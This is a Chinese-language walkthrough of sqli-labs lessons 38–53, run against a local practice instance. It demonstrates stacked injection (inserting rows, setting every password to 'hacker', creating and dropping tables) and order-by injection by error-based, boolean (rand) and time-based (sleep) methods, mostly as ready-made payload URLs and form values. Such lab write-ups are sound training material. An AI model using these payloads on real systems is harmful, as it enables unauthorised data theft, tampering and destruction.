由于在这里使用了执行一个或多个sql语句的函数mysqli_multi_query。
所以可以尝试堆叠注入,堆叠注入就是执行多条SQL语句,通过;分割;在实战中,由于正常数据库只会回显出我们想要的结果,所以,堆叠注入在黑盒测试下只能通过模糊测试来进行测试。由于是直接执行多条SQL语句,所以对SQL语句就并无限制,可以通过堆叠注入增删改查等数据库操作。
我们在知道数据库结构后尝试进行插入数据操作
http://127.0.0.1/sql-labs/Less-38/?id=1';insert into users(id,username,password)values(20,'keepb1ue','2020')--+
插入后,我们直接切换到id 20,看看是否插入成功
当然我们还可以执行任何SQL语句,这也说明了堆叠注入危害极大。
http://127.0.0.1/sql-labs/Less-39/?id=1;insert into users(id,username,password)values(19,'allblue','2019')--+
http://127.0.0.1/sql-labs/Less-40/?id=1');insert into users(id,username,password)values(18,'hacker','2018')--+
http://127.0.0.1/sql-labs/Less-41/?id=1;update users set password='hacker'
where id>0--+
login_user=admin&login_password=1';create table keepb1ue like users#
login_user=King&login_password=123');insert into users(id,username,password)values(22,'test22','test22')#
与43比较,只是闭合方式改了和去掉了一个打印报错信息的语句。
那如果在实战中没有报错信息那就只能去fuzz了
login_user=King&login_password=123';drop table keepb1ue#
login_user=King&login_password=123');insert into
users(id,username,password)values(23,'KB','KB')#
order by注入
我们可以通过asc 和desc查看返回数据是否相同来简单判断是否存在order by注入
证明的确有order by 注入
order by注入有很多种方式进行注入
比如:报错注入、盲注、异或注入。如果达到一定条件还可以联合注入
报错注入很简单:
http://127.0.0.1/sql-labs/Less-46/?sort=1 and
updatexml(1,concat(0x7e,(select database())),1)
http://127.0.0.1/sql-labs/Less-46/?sort=rand(ascii(left(database(),1))=115)
根据rand来对SQL语句对错做判断,因为rand(True)和rand(False)的回显结果是不一样的。
http://127.0.0.1/sql-labs/Less-47/?sort=1' and
updatexml(1,concat(0x7e,(select database())),1) --+
http://127.0.0.1/sql-labs/Less-47/?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
本关与less-46的区别在于报错注入不能使用,不进行错误回显,因此其他的方法我们依旧是可以使用的。
可以利用sort=rand(true/false)进行判断。
http://127.0.0.1/sql-labs/Less-48/?sort=rand(ascii(left(database(),1))=150)
http://127.0.0.1/sql-labs/Less-48/?sort=rand(ascii(left(database(),1))=115)
根据rand(true)和rand(fales)的回显不一样做判断,进行布尔盲注
延时:
http://127.0.0.1/sql-labs/Less-48/?sort=1 and (If(ascii(substr(database(),1,1))=115,sleep(5),1))
http://127.0.0.1/sql-labs/Less-49/?sort=1' and (if(ascii(substr((select username from users where id=1),1,1))=115,0,sleep(5)))--+
http://127.0.0.1/sql/Less-50/?sort=1;create table keepblue like users--+
http://127.0.0.1/sql/Less-51/?sort=1';drop table keepb1ue--+
http://127.0.0.1/sql/Less-52/?sort=1;create table keepb1ue like users--+
http://127.0.0.1/sql/Less-53/?sort=1';drop table keepb1ue--+